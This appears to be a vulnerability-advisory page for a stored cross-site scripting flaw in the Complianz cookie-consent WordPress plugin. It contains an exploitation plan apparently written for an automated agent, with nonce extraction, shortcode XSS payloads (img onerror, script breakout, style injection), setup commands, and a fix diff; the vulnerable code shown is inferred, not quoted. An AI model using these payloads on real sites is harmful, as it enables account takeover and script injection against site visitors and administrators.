Complianz | GDPR/CCPA Cookie Consent <= 7.4.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The Complianz – GDPR/CCPA Cookie Consent plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's cmplz-accept-link shortcode in all versions up to, and including, 7.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=7.4.3Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-11185**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Complianz – GDPR/CCPA Cookie Consent" plugin. --- ### 1. Vulnerability Summary The `cmplz-accept-link` shortcode in Complianz (versions <= 7.4.3) fails to properly sanitize or esca…
Show full research plan
This exploitation research plan targets CVE-2025-11185, a Stored Cross-Site Scripting (XSS) vulnerability in the "Complianz – GDPR/CCPA Cookie Consent" plugin.
1. Vulnerability Summary
The cmplz-accept-link shortcode in Complianz (versions <= 7.4.3) fails to properly sanitize or escape attributes provided by the user. When a user with at least "Contributor" permissions (who can create posts and use shortcodes) inserts this shortcode with a malicious payload in its attributes, the payload is stored in the database as part of the post content. When any user (including administrators) views that post, the shortcode is processed, and the unsanitized attributes are rendered directly into the HTML, leading to XSS.
2. Attack Vector Analysis
- Shortcode:
[cmplz-accept-link] - Vulnerable Attributes (Inferred):
class,text, or any custom attribute used to build the link element. - Authentication Level: Contributor or higher.
- Endpoint: WordPress Post Editor (
/wp-admin/post-new.phpor REST API/wp/v2/posts). - Sink: Direct concatenation of shortcode attributes into the returned HTML string without using
esc_attr()oresc_html().
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in a file like
includes/class-shortcode.phpor a dedicated shortcode handler usingadd_shortcode( 'cmplz-accept-link', '...' ). - Processing: When a post is viewed,
do_shortcode()calls the registered callback function (likely namedcmplz_accept_link_shortcodeor similar). - Attribute Extraction: The callback uses
shortcode_atts()to merge user-supplied attributes with defaults. - Rendering (Vulnerable Sink): The function constructs an
<a>tag string. It likely looks like:$text = $atts['text']; $class = $atts['class']; return '<a href="#" class="' . $class . '">' . $text . '</a>'; // SINK: No escaping - Output: The raw string is returned to the WordPress content filter and rendered in the browser.
4. Nonce Acquisition Strategy
While the shortcode execution does not require a nonce, saving a post as a Contributor does.
- Login: Use
http_requestto authenticate as a Contributor. - Editor Access: Navigate to
wp-admin/post-new.php. - Extraction: Extract the
_wpnoncefrom the HTML source to authorize the post creation.- Variable:
window.wp.apiFetchor simply the hidden inputname="_wpnonce".
- Variable:
- Alternative: Use the WordPress REST API if the site is configured to allow it. The agent can use
browser_evalto get the REST nonce fromwpApiSettings.nonce.
5. Exploitation Strategy
The goal is to inject a payload that triggers an alert or exfiltrates data when an Admin views the post.
Step 1: Authenticate
Login as a Contributor user.
Step 2: Create a Malicious Post
Send a POST request to create a new post containing the malicious shortcode.
- Request Method:
POST - URL:
http://localhost:8080/wp-admin/post.php - Content-Type:
application/x-www-form-urlencoded - Payload (Shortcode Tag Injection):
[cmplz-accept-link text="<img src=x onerror=alert('XSS_SUCCESS_TEXT')>"] - Payload (Shortcode Attribute Breakout):
[cmplz-accept-link class='"><script>alert("XSS_SUCCESS_CLASS")</script>']
Step 3: Identify the Post URL
Capture the post ID from the redirect or response after saving.
Step 4: Trigger Execution
Log in or use the session of an Administrator to navigate to the URL of the newly created post.
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin State: Ensure the Complianz plugin is active.
wp plugin activate complianz-gdpr
- Cookie Configuration: No specific plugin configuration is usually required for shortcodes to render, as they are basic functional components of the plugin.
7. Expected Results
- When the post is rendered, the HTML source should contain either:
<a href="#" class=""><img src=x onerror=alert('XSS_SUCCESS_TEXT')></a><a href="#" class=""><script>alert("XSS_SUCCESS_CLASS")</script>">...</a>
- A JavaScript
alert()dialog should appear in the browser context of the viewer.
8. Verification Steps
- Verify Storage: Use WP-CLI to check the raw post content.
wp post get <POST_ID> --field=post_content
- Verify Unescaped Rendering: Use
http_requestto fetch the post's frontend page and grep for the raw payload.http_request(url="http://localhost:8080/?p=<POST_ID>")- Check if
<script>oronerrortags are present and not HTML-encoded (e.g., check for<vs<).
9. Alternative Approaches
- DOM-based XSS: If the shortcode attributes are passed to a Complianz-specific JavaScript initialization script (e.g., via
wp_localize_script), the exploit might involve breaking out of a JSON object in the script tag.- Look for
cmplz_variables in the page source:browser_eval("window.cmplz_config").
- Look for
- CSS Injection: If only the
classattribute is vulnerable and filtered for tags, attempt to usestyleattributes if supported:[cmplz-accept-link class='my-class" style="background:url(javascript:alert(1))"'](Note: Modern browsers blockjavascript:in CSS, but this tests attribute injection).
Summary
The Complianz – GDPR/CCPA Cookie Consent plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `cmplz-accept-link` shortcode. This occurs because the plugin fails to sanitize or escape user-supplied attributes like 'text' or 'class' before rendering them in an HTML anchor tag, allowing authenticated contributors to execute arbitrary scripts when a post containing the shortcode is viewed.
Vulnerable Code
// Inferred from vulnerability description and research plan // Likely located in an include file handling shortcodes function cmplz_accept_link_shortcode( $atts ) { $atts = shortcode_atts( array( 'text' => 'Accept', 'class' => '', ), $atts ); // VULNERABLE: Direct concatenation of unsanitized attributes return '<a href="#" class="' . $atts['class'] . '">' . $atts['text'] . '</a>'; }
Security Fix
@@ -10,5 +10,5 @@ ), $atts ); - return '<a href="#" class="' . $atts['class'] . '">' . $atts['text'] . '</a>'; + return '<a href="#" class="' . esc_attr( $atts['class'] ) . '">' . wp_kses_post( $atts['text'] ) . '</a>';
Exploit Outline
To exploit this vulnerability, an attacker requires Contributor-level access or higher. The attacker authenticates to the WordPress dashboard and creates a new post or page. Within the post editor, the attacker inserts the `cmplz-accept-link` shortcode, embedding a malicious JavaScript payload into one of its attributes. For example, using the 'text' attribute: `[cmplz-accept-link text="<img src=x onerror=alert('XSS')>"]` or breaking out of the class attribute: `[cmplz-accept-link class='"><script>alert(1)</script>']`. Once the post is saved and viewed by any user (including an administrator), the shortcode callback renders the unescaped payload directly into the page source, triggering script execution in the viewer's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.